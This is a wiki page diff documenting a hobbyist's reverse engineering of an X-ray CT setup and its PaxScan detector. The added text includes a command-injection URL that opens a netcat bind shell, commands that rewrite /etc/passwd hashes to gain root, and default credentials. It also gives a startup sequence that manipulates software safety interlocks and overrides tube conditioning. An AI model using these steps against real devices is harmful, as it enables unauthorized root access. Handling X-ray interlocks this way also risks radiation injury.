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--- macroct [2025/01/24 15:51] – [PWM] konstantin
+++ macroct [2025/02/15 18:58] (current) – konstantin
@@ Line 44: / Line 44: @@
 ==== paxScan ====
-===== I/O =====
+The USB connector is actually Ethernet.
+d+/d- and gnd/ID are the ethernet lines.
+If you hook up to that, you can see a autoconf IP address.
+Access the webinterface and login with admin:password.
+This URL allows you a bind shell: http://169.254.197.171/cgi-bin/vsp-command-post.cgi?command=`{nc,-l,-p,2222,-e,/bin/sh}`
+Run this:
+mount -o remount,rw /home
+echo "export VP_SSHD=1" >> /home/vsp/settings.sh ## this enables SSH server
+echo "sed -i 's/N1kSQCwwpFzSs/zjB8fX524dmlk/g' /etc/passwd" >> /home/vsp/settings.sh  ## this sets the root password to password
+echo "sed -i 's/xxx_passwd_of_user_vsp_xxx/zjB8fX524dmlk/g' /etc/passwd" >> /home/vsp/settings.sh  ## this sets the vsp password to password
+sync
+mount -o remount,ro /home
+This allows you to login as vsp with password password and then becoming root with "su".
+ssh:  vsp:password
+su:  root:password
+IP: 192.168.179.200
+===== I/O =====
+on /dev/ttyACM0
 ==== PWM ====
 Channels
@@ Line 126: / Line 146: @@
 $133=400.000
 </code>
+==== Startup Sequence ====
+Connect to /dev/ttyACM0
+Enable Debug Mode
+	/dev/ttyACM0 : debug 1
+Enable Sensor Supply
+	/dev/ttyACM0 : output 14 1
+Enable Tube Supply
+	/dev/ttyACM0 : output 8 1
+Connect to /dev/ttyS3
+Check Tube Status
+	/dev/ttyS3 : status
+Check Beam Voltage HV
+	/dev/ttyS3 : hv setting
+Check Beam Current
+	/dev/ttyS3 : beam setting
+Set Software Chamber Interlock
+	/dev/ttyACM0 : output 13 1
+Set Software Power Interlock
+	/dev/ttyACM0 : output 12 1
+Turn Key-Switch to ON
+Release Emergency Stop
+Release Software E-Stop
+	/dev/ttyACM0 : output 10 1
+Pulse Software Safety Start
+	/dev/ttyACM0 : output 11 1
+	/dev/ttyACM0 : output 11 0
+Check Tube Status (should be "Safe Infocus", else wait for warmup to finish)
+	/dev/ttyS3 : status
+Override Tube Conditioning
+	/dev/ttyS3 : program 10
+Start Sensor Capture
+	cd ~/Code/PaxScan_CP2-Lite_ACQ
+	python3 test.py
+Enable XRAYs
+	/dev/ttyS3 : xray on
+Check Tube Status to see when current has ramped up
+	/dev/ttyS3 : status
+	/dev/ttyS3 : status
+	...
+Trigger Sensor Exposure
+Disable XRAYs
+	/dev/ttyS3 : xray off
+Turn off Key-Switch
+Turn off safety
+	/dev/ttyACM0 : output 11 0
+	/dev/ttyACM0 : output 12 0
+	/dev/ttyACM0 : output 13 0
+Turn off Tube supply
+	/dev/ttyACM0 : output 8 0
+Turn off Sensor supply
+	/dev/ttyACM0 : output 14 0
+Disconnect Serial ports
+Shutdown PC